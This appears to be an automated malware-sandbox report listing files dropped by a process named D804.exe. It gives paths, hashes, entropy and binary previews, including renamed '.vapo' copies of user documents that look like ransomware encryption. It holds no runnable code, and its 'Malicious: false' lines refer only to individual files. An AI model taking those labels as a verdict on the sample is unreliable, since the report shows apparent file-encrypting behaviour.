MD5:	E14F8B571687ECB4E408D68A52D782FC
SHA1:	39C9DAE16A5A9FF718AC26A4AA73EACB2DB156C9
SHA-256:	7EDE924EF432489A52B76F4D7FA5A7AE91CEE526DC13DD158ABBCB65CED827C8
SHA-512:	E4F50494615A730113C57CAABF7E2236C5CED0D89AEA99C3AC6BD818D50EAD4F948D5B3A2B6BF40E7ECBD96209AD23A74C1EE97D47DAEEF94622FE492E38847B
Malicious:	false
Reputation:	unknown
Preview:	NWCXB.e..(C,...;o..d.T....z.&..._.Vi..Gv..J.B...6Q.O3.+:s={.G.R"y..?.qd^T%.n.4...z:......k...}..1..J........8.X.a.........3...%._......9".."..K...j....L....-..!ScS...L....9}$^......IH.;/ '!oh.SG.....9.....>.b5Y....:..VL....9......D..+..G<.Uv..y0F.%..~.Q.@M......"...h.\......<r8..PD.J..MO.\.`&/J..q...T...X.].zp.~..@.z.7(.......Azn:78^....j..^6..s....q.H..<.OT....&\..WTJ.......+...l.jA..+...f&..}..X..`..C.eUK....gj......\....c.zU.-!........S..'.."#....D......cv .-.M/.sf.B.S.vh..(..D.7...j....'..B.&...n%........"Od'..2/.:..v.'}..5...q......)..:.n.O}........y..v...\Q...Cp`..Md7f..a.g...".@uQ9....ui[..qC.P..m(..T\|wKBT3.W%CkK4.9..\|.T4..~e..;..BY2..g...8.[.3&..$mi.-QM........~L.[.\..r...FK.L.....+...h.$. ).T=.N....L....r.:~...@n .........(@\|.mQ.....p..........j....m.2i.....vR3...o....~A......$D....H..&F.......D.G..o.HP.....r....O...{.&..Q..Z/(%....a{.T&=e.'.T..".x..[.6..W..tE.^..(..w....{..h.A...[X..pHoC.a>.."...E..E(......J.......sa(G...G..8Y.."......

C:\Users\user\Documents\NWCXBPIUYI.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863004798030781
Encrypted:	false
SSDEEP:	24:TGye3nIAUNl39/CQzPyccbMf6DZAo8JIbgBCfmM2fbi0AM8xm9SvarQoRQJUBFHX:TdFhVzUMSDZAo8JIMBimM2fbCy9/rQo/
MD5:	AF76102D3F51F2B74FC7B19CB109E3FC
SHA1:	FC544FB1C718186D4DB47BBC136EED6BD638B62F
SHA-256:	C9AEDB00DA57BB9F450EF16C2A17ACBFA61A156CBA968EE6E01CA9412FA418C7
SHA-512:	0373D6B1663C87E5A626B188E684359A588D825CD61317A13B1BAFA09BEF4E16DE48EB953233CF6FDB58CEEFE62076A5C0C7B19B382E85FF7D471896A01C68EE
Malicious:	false
Reputation:	unknown
Preview:	NWCXB.....nx......b.:w .).P.......g].C..K#....MY..P.7........]............m.a...4"+t.1.w.d.r9./.6.}.9n..o.;..j....-...K&..`E.8..HBOC.e...[.H...2...w".9(6o ..C..V.E(.....q....@.,....\|1..8..k.....$...4k3&....g.!............Lu..q...!.Z...ZJ.......,i[....9..Z':...X..?.S..5..\x...Y..+:..Q8c.F.d.._...../h.y....M.X..4!...,.(.f.W^...9....8[.;.,..g.i.j..{.#C...9...k."G%'..&...w!S[=..A......s.Lt.J@q.......9~.~...HfC..)J<Zj..z...3..p=l.......Y..hS\|..6....JBVjZ]a.[.........'.b.T.........W..K...Z.e....z...V.d.......,6......?....d...GZ......Y.H.o...o.^...;..HG.\L....(~yGH/?....$.O.....A..D.7.V,.T."..$..Di5u.&[].......o\hO.^.on. .h}.+N.L..qAfR...$..{.V..\|..uC..DJ... .#=Q..x.N.../...Ra..q\.N.l(..k3...\.....G.....U../......~..T8.#.IC..Q.YuG.Jr....+I .P>.D...@....;.Q.P..0..PFi...Z.g..QF.~.z....2.3..E.E..@6.1i....If.4.d^......&n3.>.E.a.\\..$...J..#.%.....8-2?.4..\|E3E.*.....G..n.......zXKY.4....T..]^.a..l,`.J.t.-N....\....6..3L....t.v.F..,.'7.`...^...

C:\Users\user\Documents\NWCXBPIUYI.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863004798030781
Encrypted:	false
SSDEEP:	24:TGye3nIAUNl39/CQzPyccbMf6DZAo8JIbgBCfmM2fbi0AM8xm9SvarQoRQJUBFHX:TdFhVzUMSDZAo8JIMBimM2fbCy9/rQo/
MD5:	AF76102D3F51F2B74FC7B19CB109E3FC
SHA1:	FC544FB1C718186D4DB47BBC136EED6BD638B62F
SHA-256:	C9AEDB00DA57BB9F450EF16C2A17ACBFA61A156CBA968EE6E01CA9412FA418C7
SHA-512:	0373D6B1663C87E5A626B188E684359A588D825CD61317A13B1BAFA09BEF4E16DE48EB953233CF6FDB58CEEFE62076A5C0C7B19B382E85FF7D471896A01C68EE
Malicious:	false
Reputation:	unknown
Preview:	NWCXB.....nx......b.:w .).P.......g].C..K#....MY..P.7........]............m.a...4"+t.1.w.d.r9./.6.}.9n..o.;..j....-...K&..`E.8..HBOC.e...[.H...2...w".9(6o ..C..V.E(.....q....@.,....\|1..8..k.....$...4k3&....g.!............Lu..q...!.Z...ZJ.......,i[....9..Z':...X..?.S..5..\x...Y..+:..Q8c.F.d.._...../h.y....M.X..4!...,.(.f.W^...9....8[.;.,..g.i.j..{.#C...9...k."G%'..&...w!S[=..A......s.Lt.J@q.......9~.~...HfC..)J<Zj..z...3..p=l.......Y..hS\|..6....JBVjZ]a.[.........'.b.T.........W..K...Z.e....z...V.d.......,6......?....d...GZ......Y.H.o...o.^...;..HG.\L....(~yGH/?....$.O.....A..D.7.V,.T."..$..Di5u.&[].......o\hO.^.on. .h}.+N.L..qAfR...$..{.V..\|..uC..DJ... .#=Q..x.N.../...Ra..q\.N.l(..k3...\.....G.....U../......~..T8.#.IC..Q.YuG.Jr....+I .P>.D...@....;.Q.P..0..PFi...Z.g..QF.~.z....2.3..E.E..@6.1i....If.4.d^......&n3.>.E.a.\\..$...J..#.%.....8-2?.4..\|E3E.*.....G..n.......zXKY.4....T..]^.a..l,`.J.t.-N....\....6..3L....t.v.F..,.'7.`...^...

C:\Users\user\Documents\NWCXBPIUYI.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849754735053672
Encrypted:	false
SSDEEP:	24:wjb+qoLyO5o8tp5mWg27/hAqIY3Ev6RRHsLsBzgVAljRRmEfXvoQibD:wjb+B+x8tp5mWg+hqY3e6RhsLmgVwL/q
MD5:	57C6151DACFD781C092362D5F30D3EBD
SHA1:	9EA5D664C083D24A19587D9C9D2CCEE06B90C62E
SHA-256:	F7B6B9964A81450F29A1537C5EA8A0973333289451E8DBEC1B6D98C026FD86AA
SHA-512:	405DA90189507B2101F539D278E687C64F65C4EEB376838340B211A243EFE15FBA129165F009D95B18BE8CB9940C29228504DAB15FAD1232B49597FB4D41FAE2
Malicious:	false
Reputation:	unknown
Preview:	NWCXBa...d;.."..:..z&...sx...OC4.s.t.7HV.W..C.Z..{.~K.....7_o.}\)...f.3I.<..P...8Nd.L...&........../...[.P.P.Zw.......ebo..W.?GA=Bot..M.....k.T...B SR.X.U}&/.........$............y?paL.:.-.M.\|...<.34..&.d.\..a9.T....?#d.<...{.e.>.....j..{.9......$ ..?.0.A.`...)..a..[...(x..9e....&...^\.Hp..u}7%.~...V.s'.(...........~...-.R..6,.......H....i&.e.Gp?..#>..~L?.^.l.4\|.....u7...........)...P2..n..J../.........o..RQ..~.."....."V.....:..9K.R.y.`.V..FI...8....@.kh."......[..m..qY.....\..O.....x..(..6d...!.Y.....d...4.o..g+.........".dO...AH...... ;\|...5.5r4.......O.[^5H..\|.....A/..9.d*........._.g....I....6.A...y....D.u..8<7..q.^.../x.W.09L2MoUL....C"vD..FO<(.=%z.......'x...M4GjI9%5gH.[...H...)]..y...Q..F4..d._.q9...a.h.....SB.YD..U.O..ew.cAs......;..:_.A]....aj.9.....z....7l..u.dS.> .......S..Bh..w..7..i.c8.1.R.IA.....C..g\Fx...3J..vD... ....%n:9......z1.\.@..........l....!-.z...x.Ia.W..r0..q..O...A.+...e8.u...a...k.T.{......

C:\Users\user\Documents\NWCXBPIUYI.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849754735053672
Encrypted:	false
SSDEEP:	24:wjb+qoLyO5o8tp5mWg27/hAqIY3Ev6RRHsLsBzgVAljRRmEfXvoQibD:wjb+B+x8tp5mWg+hqY3e6RhsLmgVwL/q
MD5:	57C6151DACFD781C092362D5F30D3EBD
SHA1:	9EA5D664C083D24A19587D9C9D2CCEE06B90C62E
SHA-256:	F7B6B9964A81450F29A1537C5EA8A0973333289451E8DBEC1B6D98C026FD86AA
SHA-512:	405DA90189507B2101F539D278E687C64F65C4EEB376838340B211A243EFE15FBA129165F009D95B18BE8CB9940C29228504DAB15FAD1232B49597FB4D41FAE2
Malicious:	false
Reputation:	unknown
Preview:	NWCXBa...d;.."..:..z&...sx...OC4.s.t.7HV.W..C.Z..{.~K.....7_o.}\)...f.3I.<..P...8Nd.L...&........../...[.P.P.Zw.......ebo..W.?GA=Bot..M.....k.T...B SR.X.U}&/.........$............y?paL.:.-.M.\|...<.34..&.d.\..a9.T....?#d.<...{.e.>.....j..{.9......$ ..?.0.A.`...)..a..[...(x..9e....&...^\.Hp..u}7%.~...V.s'.(...........~...-.R..6,.......H....i&.e.Gp?..#>..~L?.^.l.4\|.....u7...........)...P2..n..J../.........o..RQ..~.."....."V.....:..9K.R.y.`.V..FI...8....@.kh."......[..m..qY.....\..O.....x..(..6d...!.Y.....d...4.o..g+.........".dO...AH...... ;\|...5.5r4.......O.[^5H..\|.....A/..9.d*........._.g....I....6.A...y....D.u..8<7..q.^.../x.W.09L2MoUL....C"vD..FO<(.=%z.......'x...M4GjI9%5gH.[...H...)]..y...Q..F4..d._.q9...a.h.....SB.YD..U.O..ew.cAs......;..:_.A]....aj.9.....z....7l..u.dS.> .......S..Bh..w..7..i.c8.1.R.IA.....C..g\Fx...3J..vD... ....%n:9......z1.\.@..........l....!-.z...x.Ia.W..r0..q..O...A.+...e8.u...a...k.T.{......

C:\Users\user\Documents\NWCXBPIUYI\GNLQNHOLWB.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849677367574006
Encrypted:	false
SSDEEP:	24:ZXK7fnYfBiI08gSJXhs09S8h7J440bQ1F+L7ZtriJ4/OzDJjZ3kruC4wfayjvbD:ZyYqS/s09Dl4Hq8w4/OlJnCXxjzD
MD5:	2C050BB73A4E043A452B723F4026E902
SHA1:	326C85438EB0BD7E932B97BDB34BE19DB18FFBC4
SHA-256:	C29BE0857C698CB962AFF305A78E7D8ECEEE70DC107E705DE5CDD822F9451FDE
SHA-512:	E1C67476C7D4CB712F962B801307D252C03BE0037632688C1C199E622C3899CD6728A57C35C0339389AD2816422595D79ABC3652B4AF110ED74B172F2C852CD5
Malicious:	false
Reputation:	unknown
Preview:	GNLQN8=.n.DN.?.]7.9$. 4[..5..O..1......'.d..p..D.6.....p..=...A\...\|b2...s!}..no.............=........$....G....j.6...$..o.."....S\...A.0.)F..'..._,o...Q.....R..{.(......K....#Rb...X8.EI$c....'..s.1O8..$..6..Z.[.B.9.j<<. <k.EK..~...D..6.!..&........[......g...)..JH..)..b...{.9!.z..].~.......}.....a....j{8...+3J....2.Q.....F?..R5.....d..s..qE..p.C.......II>.?..8...,.)....-.M....G2G6.4.T...H.~q@9G...qf.&0 ..zr............f]M..f.sW[...7..=a@...'.....r.Z.-.......?Iq...1.U&..#z.z..t.0..-.bi..UE.=..G...o.{...].&</?..A8.4..U.Q.x.lF..V....}...z..5K....yc.v.k.4#8...E..D.rR.&...]..g......}^sp..'o..U.a..m...&......8.....X.t..0..#6f."..X.............7..>>..&..!.=7+.8....9.L..N.=rR..D.p..\|.iH....i...w$...4]6..OMF..8p.j.$.....E..a$.xrJ2...{;x.%.I.UZ.._.f\6.k.....pV..!m.g.G..c..]......-MB....t...*.d%V...H....z....... 2..5.T.i=]P1.v.{...s3..}.t....x...nC9.Q.0#.&j..9.U....2.4..E...'.....w.-'DK^..>...]>!....YlnPn.<0.$.t.....Q..+."."9...'..D"..w.\|.......?&

C:\Users\user\Documents\NWCXBPIUYI\GNLQNHOLWB.mp3.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849677367574006
Encrypted:	false
SSDEEP:	24:ZXK7fnYfBiI08gSJXhs09S8h7J440bQ1F+L7ZtriJ4/OzDJjZ3kruC4wfayjvbD:ZyYqS/s09Dl4Hq8w4/OlJnCXxjzD
MD5:	2C050BB73A4E043A452B723F4026E902
SHA1:	326C85438EB0BD7E932B97BDB34BE19DB18FFBC4
SHA-256:	C29BE0857C698CB962AFF305A78E7D8ECEEE70DC107E705DE5CDD822F9451FDE
SHA-512:	E1C67476C7D4CB712F962B801307D252C03BE0037632688C1C199E622C3899CD6728A57C35C0339389AD2816422595D79ABC3652B4AF110ED74B172F2C852CD5
Malicious:	false
Reputation:	unknown
Preview:	GNLQN8=.n.DN.?.]7.9$. 4[..5..O..1......'.d..p..D.6.....p..=...A\...\|b2...s!}..no.............=........$....G....j.6...$..o.."....S\...A.0.)F..'..._,o...Q.....R..{.(......K....#Rb...X8.EI$c....'..s.1O8..$..6..Z.[.B.9.j<<. <k.EK..~...D..6.!..&........[......g...)..JH..)..b...{.9!.z..].~.......}.....a....j{8...+3J....2.Q.....F?..R5.....d..s..qE..p.C.......II>.?..8...,.)....-.M....G2G6.4.T...H.~q@9G...qf.&0 ..zr............f]M..f.sW[...7..=a@...'.....r.Z.-.......?Iq...1.U&..#z.z..t.0..-.bi..UE.=..G...o.{...].&</?..A8.4..U.Q.x.lF..V....}...z..5K....yc.v.k.4#8...E..D.rR.&...]..g......}^sp..'o..U.a..m...&......8.....X.t..0..#6f."..X.............7..>>..&..!.=7+.8....9.L..N.=rR..D.p..\|.iH....i...w$...4]6..OMF..8p.j.$.....E..a$.xrJ2...{;x.%.I.UZ.._.f\6.k.....pV..!m.g.G..c..]......-MB....t...*.d%V...H....z....... 2..5.T.i=]P1.v.{...s3..}.t....x...nC9.Q.0#.&j..9.U....2.4..E...'.....w.-'DK^..>...]>!....YlnPn.<0.$.t.....Q..+."."9...'..D"..w.\|.......?&

C:\Users\user\Documents\NWCXBPIUYI\HQJBRDYKDE.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831783952434776
Encrypted:	false
SSDEEP:	24:HBmYTOA7qSAfiAFm+m0DA9gdArUNk3qDHvZnp6vbAMEw7p2PvZbD:HBmedYiAFm+nk9Uk3Qnp6vYJD
MD5:	A423B14554BA180B78F7B636AB5D947C
SHA1:	E81A10BE3FFA8CC2954E6F75BDCF0679312801DF
SHA-256:	A89F574A03B3B4F6470BCA8902D8D0BDD5B8560895FBA4BCCA630BBD0B4EF22A
SHA-512:	5D58A607C704E82C0961BA35193755D68C1E742CCEE2DC9A604033A31FDBA1EF845F8C374623663ECD90B7459F7DDB80950AB2780543A76CFC8D24385455EA7F
Malicious:	false
Reputation:	unknown
Preview:	HQJBRZD.6^P.2.F7Z..y...JG............lp..y.6.Y..L./..x.7.)d.[z. .2.....QG.=.!.......i.,^C.v..[..lk.>..1._..S.].S..z5..0I..o.AB.%..../.....:%t.....TC.\...;.^..5...PY.Gj..c.......bcc..\|.F.7w.....2..6L.+...Vs.uY..J.I.....yM.....}..s.V..{......x.j.QB.g..w...8l........y....d...H...Fe. 0.(P-.,[".Xv..z.!k..W.I.{.....yN'........+.....>..6W.u}.!{+..........3.{.~j8..=.V..#L..`+...#q.....VB.K/.S'../h {..}...vs.5.<.....0.c......9JC....?.J..s...F.....F.....o1O.%{.)~...~.6q...XAm5,F...1..^...D...k.4...v..qOL...'.....}...ni..YL._..Q..a.h}.W.hV..W.4C.&.?.-.l...../CUh./<..\|X.J...]h..a=.0.;@...h..A}.m......8..F*I....U8.zW.hG'pT.W......<..4{&\..B....A..p.k.cmg..F.!.3....C.QlP.... .V.Ql....H.....\.$.Y..(.[.8.Hg.+-.._-.k..po.^....".....-.$.`of.).-..ju!.eD-R...Q.g~.d2..e..`.xn.`.+=...j5.r...Je.}..62..31.....?...7Y....^{...H..G-3-~.6..c.-...!..+....Z#.E?.4.;9...9Q.T... .My2.]y.E..A..]qU9.(.Lr..n..).\|....[..w.C=....]....BJ.V....+<.y6j.....U.vA...7.WKg.A..

C:\Users\user\Documents\NWCXBPIUYI\HQJBRDYKDE.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831783952434776
Encrypted:	false
SSDEEP:	24:HBmYTOA7qSAfiAFm+m0DA9gdArUNk3qDHvZnp6vbAMEw7p2PvZbD:HBmedYiAFm+nk9Uk3Qnp6vYJD
MD5:	A423B14554BA180B78F7B636AB5D947C
SHA1:	E81A10BE3FFA8CC2954E6F75BDCF0679312801DF
SHA-256:	A89F574A03B3B4F6470BCA8902D8D0BDD5B8560895FBA4BCCA630BBD0B4EF22A
SHA-512:	5D58A607C704E82C0961BA35193755D68C1E742CCEE2DC9A604033A31FDBA1EF845F8C374623663ECD90B7459F7DDB80950AB2780543A76CFC8D24385455EA7F
Malicious:	false
Reputation:	unknown
Preview:	HQJBRZD.6^P.2.F7Z..y...JG............lp..y.6.Y..L./..x.7.)d.[z. .2.....QG.=.!.......i.,^C.v..[..lk.>..1._..S.].S..z5..0I..o.AB.%..../.....:%t.....TC.\...;.^..5...PY.Gj..c.......bcc..\|.F.7w.....2..6L.+...Vs.uY..J.I.....yM.....}..s.V..{......x.j.QB.g..w...8l........y....d...H...Fe. 0.(P-.,[".Xv..z.!k..W.I.{.....yN'........+.....>..6W.u}.!{+..........3.{.~j8..=.V..#L..`+...#q.....VB.K/.S'../h {..}...vs.5.<.....0.c......9JC....?.J..s...F.....F.....o1O.%{.)~...~.6q...XAm5,F...1..^...D...k.4...v..qOL...'.....}...ni..YL._..Q..a.h}.W.hV..W.4C.&.?.-.l...../CUh./<..\|X.J...]h..a=.0.;@...h..A}.m......8..F*I....U8.zW.hG'pT.W......<..4{&\..B....A..p.k.cmg..F.!.3....C.QlP.... .V.Ql....H.....\.$.Y..(.[.8.Hg.+-.._-.k..po.^....".....-.$.`of.).-..ju!.eD-R...Q.g~.d2..e..`.xn.`.+=...j5.r...Je.}..62..31.....?...7Y....^{...H..G-3-~.6..c.-...!..+....Z#.E?.4.;9...9Q.T... .My2.]y.E..A..]qU9.(.Lr..n..).\|....[..w.C=....]....BJ.V....+<.y6j.....U.vA...7.WKg.A..

C:\Users\user\Documents\NWCXBPIUYI\LFOPODGVOH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.87018472716766
Encrypted:	false
SSDEEP:	24:CS2ojfq3IRGrCVdCms0MkOiJ3kKbS3Ky0pNc6xiOcner521eCGLgZCbD:CHoAI4nms0MHiJ0KbCKy046xnb9GxQD
MD5:	304D30628E18CB1181F71DC33DF00EAF
SHA1:	8C99EFBCBC753DF14BC945EF8109C0C8E94FB52D
SHA-256:	BC2BBA80276FEE7ACF7B0EBA85C80DFA6FBD7A639C78D0924408896EC2D2E521
SHA-512:	3BFD699AB7FBC6A5FE3E778DB7D18C7C5601B85C83198021042DF30BC61AC0A1F59F1A188BC0F0AEF570061283D269470B3C65BE7CB4B76857B33FD565C8326F
Malicious:	false
Reputation:	unknown
Preview:	LFOPO........d...R..E..;A........s..S........o.P.......\|......e.g...Fd.....a.....V.~...;.U..:>0p3.WnZ..u\|-l..3HP.5..^I.J..j.....w.V...A.[%g../.p.M/A....s1.....b1j8._....U..l.b..LD#...}.I.....W9Z.y.@i.'V.....F[5+.M.)y...0......D.m.....~:V.t....a.Q....I.D.....o...-S.bUJ\|....?}...."...5e.}..L.]....6..T.g..1...e.A....k....Rc.#..-0F.y .._...r;P&..V.u....b...9(.`.".y.?)..j....R....0....\...m....]...B.!n..... ........L(...B1.....(..)....X...l?...$..z+.3......g..6..+......d.....Wt..."qO..I..i.}/.-[W$.y:..v...xCe.z...c'..x.A.`.m.o...0.?S.2..)4....q;.p..r........... ..=....ye.M=......e.z,E.^......]YV!j.".).....r.....z.].5..X\|....U.......B.YI?.....m.(..+..L..1A.u.b....3...R.qX.]s.L..a......%s.2..p..a.u..)../"r/..lE`...u..#.C.0...;..I&..l....+.z.U.a.u8.....8.......EX.(.E:....0xfN.d.<!..'....%...Jz.F...w.O....f...o#....<.>...t..BU..I....Y.....[X.AU......Of...Tc...T.'....C.../...t.s..bF.e....d..K.k.M.o..u..2+....'..b.*.....

C:\Users\user\Documents\NWCXBPIUYI\LFOPODGVOH.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.87018472716766
Encrypted:	false
SSDEEP:	24:CS2ojfq3IRGrCVdCms0MkOiJ3kKbS3Ky0pNc6xiOcner521eCGLgZCbD:CHoAI4nms0MHiJ0KbCKy046xnb9GxQD
MD5:	304D30628E18CB1181F71DC33DF00EAF
SHA1:	8C99EFBCBC753DF14BC945EF8109C0C8E94FB52D
SHA-256:	BC2BBA80276FEE7ACF7B0EBA85C80DFA6FBD7A639C78D0924408896EC2D2E521
SHA-512:	3BFD699AB7FBC6A5FE3E778DB7D18C7C5601B85C83198021042DF30BC61AC0A1F59F1A188BC0F0AEF570061283D269470B3C65BE7CB4B76857B33FD565C8326F
Malicious:	false
Reputation:	unknown
Preview:	LFOPO........d...R..E..;A........s..S........o.P.......\|......e.g...Fd.....a.....V.~...;.U..:>0p3.WnZ..u\|-l..3HP.5..^I.J..j.....w.V...A.[%g../.p.M/A....s1.....b1j8._....U..l.b..LD#...}.I.....W9Z.y.@i.'V.....F[5+.M.)y...0......D.m.....~:V.t....a.Q....I.D.....o...-S.bUJ\|....?}...."...5e.}..L.]....6..T.g..1...e.A....k....Rc.#..-0F.y .._...r;P&..V.u....b...9(.`.".y.?)..j....R....0....\...m....]...B.!n..... ........L(...B1.....(..)....X...l?...$..z+.3......g..6..+......d.....Wt..."qO..I..i.}/.-[W$.y:..v...xCe.z...c'..x.A.`.m.o...0.?S.2..)4....q;.p..r........... ..=....ye.M=......e.z,E.^......]YV!j.".).....r.....z.].5..X\|....U.......B.YI?.....m.(..+..L..1A.u.b....3...R.qX.]s.L..a......%s.2..p..a.u..)../"r/..lE`...u..#.C.0...;..I&..l....+.z.U.a.u8.....8.......EX.(.E:....0xfN.d.<!..'....%...Jz.F...w.O....f...o#....<.>...t..BU..I....Y.....[X.AU......Of...Tc...T.'....C.../...t.s..bF.e....d..K.k.M.o..u..2+....'..b.*.....

C:\Users\user\Documents\NWCXBPIUYI\NIRMEKAMZH.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845356393594752
Encrypted:	false
SSDEEP:	24:4I+yxwUNmxM0KsK3vYzyw4GX21ftw2du+s8BPd9nIh0nOVSNlxRDbD:CyxwUAxM0Kt3vYzy5FRV5+080ZD
MD5:	1520438F032B98FBA57AEC4DB3FD324E
SHA1:	D0444B1AF32D572CAE0A35036F79ADD6FEB231D4
SHA-256:	C4383DDA2036A2F3A056FF77DEB1F9D2251D4A30C76064C998F84A74486F7723
SHA-512:	A8A06A783C33DC41C767DAE139824C4AA0FE497E3915C87A9E13CE202DF545A97D2F04448CCA200CEB631AD31C0FB0BD06A9F38D5C5C2820C67AB48F02A40427
Malicious:	false
Reputation:	unknown
Preview:	NIRME..mp&..C..>...V..{...B...\|..._s..=.".;.1X\|..%...c..F!.....n.;x...Z.U.te...........(.....Q...;.[....[.^[.K.cdS.}...\..,.n/pB3..I.v..wN..'...{...I...#F...D- .......7.m...Y=....-M....z.aZ.wO..Va....il?{J.v..0.=..\>.A.>~{...7J.3...EZ.ei..M..5.?..!......7.?....ro<Y>.c..^b4..?p..s.j...ul.\|.#....N-c.8...;B....K....S...9.O..;"...K.......R...&.........4.......z.....m..!?.O .w._.r..Hq.?......6.!....!..O.......,.=..CH6.....X....S.I.C....).o..5)...{5.._.K%....=d...j#N.Y.p...7 .I(h.+1c_Psg{...N.t0..V.M<......-..5.bU:XC..#..O...r\|.}..z...m+.....W.........'-p._e..$..gD...Vc{P5...........`:"..:......Ok.%....5}+..7.=f.Q]{..q._......V9RkZ.4"....@..c._..\...~yy.9>y.{@LZB...sgyI........../.*...Ch'..........E...uJr.n.K.G..fqI.K\.-lu..X.w......jT.s..Z.7.(........4.:.,]H.....b&.C6..\o.q....;..zQ...Ji..G..x..<o....b-\|;....I.a@6.3.....D..MD.\..<{..PV.28.M.L...F..,Bxg.sA.C.x\........7IOEN.?$U..n...4....C...L.=...P..@BZ...32V..3o..#X.&k.8.&>hg.yl$.(Y.0

C:\Users\user\Documents\NWCXBPIUYI\NIRMEKAMZH.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845356393594752
Encrypted:	false
SSDEEP:	24:4I+yxwUNmxM0KsK3vYzyw4GX21ftw2du+s8BPd9nIh0nOVSNlxRDbD:CyxwUAxM0Kt3vYzy5FRV5+080ZD
MD5:	1520438F032B98FBA57AEC4DB3FD324E
SHA1:	D0444B1AF32D572CAE0A35036F79ADD6FEB231D4
SHA-256:	C4383DDA2036A2F3A056FF77DEB1F9D2251D4A30C76064C998F84A74486F7723
SHA-512:	A8A06A783C33DC41C767DAE139824C4AA0FE497E3915C87A9E13CE202DF545A97D2F04448CCA200CEB631AD31C0FB0BD06A9F38D5C5C2820C67AB48F02A40427
Malicious:	false
Reputation:	unknown
Preview:	NIRME..mp&..C..>...V..{...B...\|..._s..=.".;.1X\|..%...c..F!.....n.;x...Z.U.te...........(.....Q...;.[....[.^[.K.cdS.}...\..,.n/pB3..I.v..wN..'...{...I...#F...D- .......7.m...Y=....-M....z.aZ.wO..Va....il?{J.v..0.=..\>.A.>~{...7J.3...EZ.ei..M..5.?..!......7.?....ro<Y>.c..^b4..?p..s.j...ul.\|.#....N-c.8...;B....K....S...9.O..;"...K.......R...&.........4.......z.....m..!?.O .w._.r..Hq.?......6.!....!..O.......,.=..CH6.....X....S.I.C....).o..5)...{5.._.K%....=d...j#N.Y.p...7 .I(h.+1c_Psg{...N.t0..V.M<......-..5.bU:XC..#..O...r\|.}..z...m+.....W.........'-p._e..$..gD...Vc{P5...........`:"..:......Ok.%....5}+..7.=f.Q]{..q._......V9RkZ.4"....@..c._..\...~yy.9>y.{@LZB...sgyI........../.*...Ch'..........E...uJr.n.K.G..fqI.K\.-lu..X.w......jT.s..Z.7.(........4.:.,]H.....b&.C6..\o.q....;..zQ...Ji..G..x..<o....b-\|;....I.a@6.3.....D..MD.\..<{..PV.28.M.L...F..,Bxg.sA.C.x\........7IOEN.?$U..n...4....C...L.=...P..@BZ...32V..3o..#X.&k.8.&>hg.yl$.(Y.0

C:\Users\user\Documents\NWCXBPIUYI\NWCXBPIUYI.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855238719803022
Encrypted:	false
SSDEEP:	24:Tpu57DQLv+KPDGbysa8RKXjAjbrBpDAh3QQAhE38R6mkbxWlsJ55Ma+bD:Tp27D8mK7Gbyp8oXEU3QQOg8R6mkv55m
MD5:	7C09B37C8D8856A0A748A29725F768EB
SHA1:	39A3C2A34801BBE9C19D3BBFD73DD865871C024A
SHA-256:	A42A1FFCD90513B4E48FDD199E33D34D4558DB89F4D986EE2C114AAC32D84865
SHA-512:	2424BA6C2A551013E9800A95A5F6D6F1DCE0E0E691DD30925319AEDAC4FBD3233ED50C1C06EC7873E748A7342620AF5866B9B9EA75787E367E379589CA7B87D5
Malicious:	false
Reputation:	unknown
Preview:	NWCXB......k.x.......&^a..rc9.]{.yS.M..}/..E.3.....s..._......k.O.R.S.~c....{.?D.f.....;)W.A...rHM}..t..7..~..2....;.&]..I.Tc....q.E..@..[...,[......s...b]..Z.....g..l...."..u; &?.Q.EQ1....H....u.GK]..I.!....e....@.K.w..V...t..]...._.lC)..r.E.r.so..i=.Y-S.J.L."..h.6\XxL\..9...yt[X.....I.........w..'.N.U...a.%..(..:...@..T'..\|....=.8\.2.....G..Ft..f.....v...=..\..W=b...<@.6......x......G....q...^~.....u?;u...{.D".l....N.h\...{.!)`.&.t....5J.S.5....e...M...}S....e...=..z..%..A.e3.........'.w...R...N]....{.\.#k.....%&.V..l..\|.N..7...9.~.S..k\|.oa.V..\|tO...(3x&..Z....D...t...../...0.5.sD<...'_.v(h.(.as...H.Q...L[...V..8.\|.....RZ"...b...0kV..b..g.[..(....$.z..l;........!..F0.n.NX.J&.J.Vx.)..&<.;.z{h.(.....J\|.......sa..$.-........f..,g;m!.t.D,.+."*....a..F+.5v........Y.......K.\.c..w..gk..Iv...j.Mc..%..P......+..z_M.{....^[<.[..?`.3 Qu.@._.l.$,`..=..+.k....pk.....V+.o.!....d.I.".)E..:..w.r..+.).@.w..@..a.{7...R..$0'n.+...7@o.@.....$.

C:\Users\user\Documents\NWCXBPIUYI\NWCXBPIUYI.docx.vapo (copy)

Download File

